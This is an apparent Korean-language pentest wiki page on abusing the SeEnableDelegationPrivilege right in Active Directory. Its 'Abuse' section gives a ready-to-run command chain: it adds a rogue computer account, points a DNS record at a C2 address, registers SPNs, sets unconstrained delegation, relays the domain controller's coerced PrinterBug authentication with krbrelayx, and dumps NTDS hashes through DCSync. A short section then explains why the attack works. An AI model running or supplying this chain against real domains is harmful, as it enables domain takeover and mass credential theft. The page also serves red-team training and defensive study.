SeEnableDelegationPrivilege

SeEnableDelegationPrivilege는 도메인에서 위임을 구성할 수 있는 권한입니다.

공격 시나리오
필요 조건

DNS 레코드 추가 권한, 위임을 구성할 컴퓨터 자격증명

위임을 구성할 컴퓨터 자격증명

공격자는 PrinterBug와 같은 강제 인증을 사용하여 대상 시스템이 공격자 서버로 인증하도록 할 수 있습니다.

이 과정에서 일반적인 서비스의 경우 서비스 티켓만을 전달하지만, 제약없는 위임이 구성된 시스템으로 인증할 경우 접근한 클라이언트의 TGT 사본 역시 같이 전달되기 때문에 공격자는 TGT를 탈취할 수 있습니다.

Abuse

# 새 컴퓨터 계정 생성
impacket-addcomputer -computer-name 'delegation$' -computer-pass 'Password123!' -dc-host 192.168.1.11 -domain-netbios contoso.com contoso.com/user-A:'Password123!'

# dns서버(dc)에 악용할 A 레코드 추가
git clone https://github.com/dirkjanm/krbrelayx.git
cd krbrelayx
python3 dnstool.py -u '<domain\username>' -p '<password>' --action add --record '<custom-domain>' --data '<c2-address>' --type A -dns-ip '<dc-ip>' '<dc-fqdn>'

# 생성한 머신에 cifs 서비스 등록
python3 addspn.py -u '<domain\username>' -p '<password>' -s '<cifs/custom-domain.domain>' -t '<created-machine>' -dc-ip '<dc-ip>' '<dc-fqdn>' --additional
python3 addspn.py -u '<domain\username>' -p '<password>' -s '<cifs/domain>' -t '<created-machine>' -dc-ip '<dc-ip>' '<dc-fqdn>'

# 생성한 머신에 Unconstrained Delegation 위임 구성
bloodyAD -d '<domain>' -u '<username>' -p '<password>' --host '<dc-fqdn>' add uac '<created-machine>' -f TRUSTED_FOR_DELEGATION

# ntlm relay 공격을 위한 릴레이 서버 구성
NTLM=$(echo -n '<machine-password>' | iconv -f UTF-8 -t UTF-16LE | openssl dgst -md4 | awk '{print $2}')
python3 krbrelayx.py -hashes :$NTLM

# ntlm 강제 인증에 취약한 모듈 열거 및 사용
nxc smb '<dc-fqdn>' -u '<created-machine>' -p '<machine-password>' -M coerce_plus
nxc smb '<dc-fqdn>' -u '<created-machine>' -p '<machine-password>' -M coerce_plus -o LISTENER='<custom-domain>' METHOD=PrinterBug

# 획득한 티켓을 통한 DCSync
export KRB5CCNAME=DC01\[email protected][email protected]
crackmapexec smb dc01.contoso.com -u DC01$ --use-kcache --ntds

Root Cause

공격자는 ldap을 통해 도메인 dns서버(dc)에 자신이 생성한 계정의 FQDN을 A 레코드로 등록합니다. 추가한 도메인은 서버 관리자 > DNS를 통해 확인할 수 있습니다.

생성한 컴퓨터에 제약없는 위임을 구성하기 위해서는 컴퓨터 계정에 생성되는 기본 서비스 외에 접근 가능한 spn이 등록되어 있어야 합니다. addspn 도구는 ldap을 이용하여 도메인 내 spn을 등록합니다.

이제 SeEnableDelegationPrivilege 권한으로 생성한 컴퓨터가 제약없는 위임을 구성받도록 설정합니다.

새로 생성한 계정에 bloodyAD와 같은 도구를 사용하여 위임을 구성하면 uac는 528384로 나타납니다. 이 값은 uac 속성 플래그에 기반하여 활성화된 모든 속성의 10진수 플래그를 더한 결과입니다.

마지막으로 DC가 생성한 컴퓨터 계정의 서비스에 인증하도록 하기 위해서 PrinterBug를 사용한 강제 인증을 합니다.

Printer Spooler에서 사용한 강제 인증 방법은 Printer Spooler에서 기술합니다.

생성한 컴퓨터 계정에는 제약없는 위임이 구성되어 있기 때문에 클라이언트가 서비스에 접근할 때 자신의 TGT 사본을 함께 전송하게 됩니다.

공격자가 강제 인증을 사용하여 DC가 생성한 컴퓨터의 서비스에 접근한다면 DC 시스템의 TGT 사본이 캐시되며, 이 과정에서 티켓을 가로챌 수 있습니다.

References

Last updated